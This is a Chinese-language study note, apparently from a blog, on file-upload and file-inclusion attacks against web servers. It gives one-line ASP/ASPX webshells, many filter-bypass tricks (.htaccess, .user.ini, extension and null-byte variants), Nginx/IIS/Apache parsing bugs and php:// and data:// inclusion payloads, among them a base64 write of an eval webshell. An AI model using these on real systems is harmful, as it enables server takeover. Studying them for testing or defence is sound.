文件上传笔记整理

  • 文件上传

    • web渗透的核心,内网渗透的基础
    • 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
  • 成功条件

    • 文件成功上传到对方的服务器(躲过杀软)
    • 知道文件上传的具体路径
    • 上传的文件可以执行成功
  • 文件上传的流程

    • 前端JS对上传文件进行检测(文件类型)
    • 服务器端MIME类型(文件类型)检测
    • 服务器端目录路径检测
    • 服务器端文件扩展名检测
    • 服务器端文件内容检测
  • 常用的一句话木马

    • php
    • asp
      • <% eval request('cmd') %>
    • aspx
      • <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
  • 文件上传的几种情况

    • 前端JS绕过(验证文件后缀)
      • 浏览器设置禁用JS代码(不执行检测代码)
      • 正常文件上传,BP抓包修改文件后缀
      • F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
      • F12检查页面代码,替换JS文件(检查窗口不能关闭)
    • 后端MIME类型绕过(验证MIME类型)
      • BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
    • 后端文件后缀名验证+文件内容验证
      • 黑名单验证
        • 尝试对文件后缀名进行爆破(所有可执行的后缀名)
        • 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
          • SetHandler application/x-httpd-php (指定文件1.jpg用php解析)
          • SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
        • user.ini文件绕过
          • .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
          • auto_prepend_file=1.png;开头被包含
          • auto_append_file=1.png; 结尾被包含
        • 大小写绕过 .Php .pHp .PhP等
        • 空格绕过 .php ,
        • .绕过 .php.
        • ..绕过 .php.. .php......等
        • /绕过
        • ::$DATA绕过 .php::$DATA
        • 循环验证绕过.pphphp .phtmlhp等
        • unicode编码绕过
        • url编码绕过
      • 白名单验证
        • 路径绕过
          • 文件路径可以操作
            • POST hex下修改00绕过
            • GET %00绕过
          • 对文件路径无验证
        • 文件内容验证
          • 添加图片文件头绕过
          • 二次循环验证(针对文件内容被修改了)
        • 竞争上传(针对先保留再删除的验证逻辑)
        • 逻辑漏洞(代码审计出的逻辑上的漏洞)
          • 通过功能实现逻辑存在漏洞;需要代码审计
      • 解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
        • Nginx
          • 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
            • xxx.jpg%00.php
          • cgi.fix_pathinfo问题
            • 解释:例如/info.jpg/1.php/2.zhide
              • 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
            • 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
              • /1.jpg/1.php
              • /1.jpg%00.php
              • /1.jpg/%20\0.php
          • 解决方式:
            • 设置php.ini中的 cgi.fix_pathinfo=0;
            • 禁止上传目录的执行脚本权限
            • 库站分离
            • 高版本设置security.limit_extensions = .php;限制php文件执行
        • IIS
          • IIS5.x~IIS6.x
            • /xx.asp/xx.jpg
            • xx.asp;.jpg
            • test.asa/ test.cer/ test.cdx/
            • 升级版本,更新补丁
          • IIS7.x
            • 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
            • 可以实现对图片马的直接执行
            • 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
        • Apache
          • 2.4.0~2.4.29
            • $可以匹配\n \r等字符;(换行解析漏洞)

              文件上传笔记整理_第1张图片

            • php%0a绕过;会当成php进行解析
            • php\x0A绕过;同上
            • 升级apache版本即可避免这个问题
          • 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
            • test.php.php123 (从右往左进行判断解析)
          • Add Handler解析漏洞
            • 如果用户手动设置了.php文件的解析
              • AddHandler php5-script .php
                • test2.php.jpg绕过;后缀存在php就用php进行解析
              • AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
                • 设置的所有后缀都会以php解析
            • 解决方法:默认不手动设置php解析操作
  • 文件包含

    • 本地包含
      • 普通的文件包含;地址为本地地址
    • 远程包含
      • 文件地址为url远程文件地址
    • php伪协议
      • allow_url_fopen默认开启 allow_url_include默认关闭
        • 常用的伪协议示例

          文件上传笔记整理_第2张图片

      • file:// +文件的绝对路径
        • 使用本地的绝对路径
      • php://
        • 常用
          • php://filter/read=convert.base64-encode/resource=./index
            • 查看源码
            • 参数格式
              • resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
              • read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
              • write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
                • filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
                • 打开文件时对内容进行base64解码然后写入
              • 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
            • 编码类型(过滤器)
              • 文件上传笔记整理_第3张图片

          • php://input+POST请求内容(具体内容必须写在POST请求体中)
            • 元数据的只读流;allow_url_include=On时可用
            • 注:当enctype=”multipart/form-data”时,php://input是无效的。
        • php://output
          • 将内容以标准输出的形式写道缓存区
        • php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
      • https/http://+url地址
        • allow_url_include=On;allow_url_open=On;
        • 多用于远程文件包含
      • 压缩流
        • zip://压缩文件绝对路径%23压缩包中文件名
          • 可以直接执行压缩包中的内容
          • %23 #
          • zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
        • compress.bzip2://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • compress.zlib://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • phar://[文件绝对路径|文件相对路径]/[子文件名称]
          • 归档;访问压缩文件中的子文件
      • data://text/plain 具体命令
        • allow_url_fopen=On allow_url_include=On
        • data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
        • 读取文件内容并执行
      • glob://
      • ssh2://
      • rar://
      • ogg://
      • expect://
  • 文件包含防御

    • allow_url_include和allow_url_fopen关闭;
    • 对用户包含的文件进行限制,如白名单、open_basedir;
    • 检查用户输入;
    • 检查变量是否初始化;
    • 关键的过滤在服务器端进行;
  • 文件下载

    • 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
    • 一般都设有文件保护
  • 小技巧

    • WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
    • 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
    • 文件上传绕过步骤(大致思路)
      • 上传正常的图片文件看回显
      • 删除MIME类型看效果
        • 有问题就MIME爆破
        • 没问题再测试后缀
      • 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
        • 黑名单时后缀名爆破
        • 白名单时尝试解析漏洞

你可能感兴趣的:(笔记,文件上传,安全,php)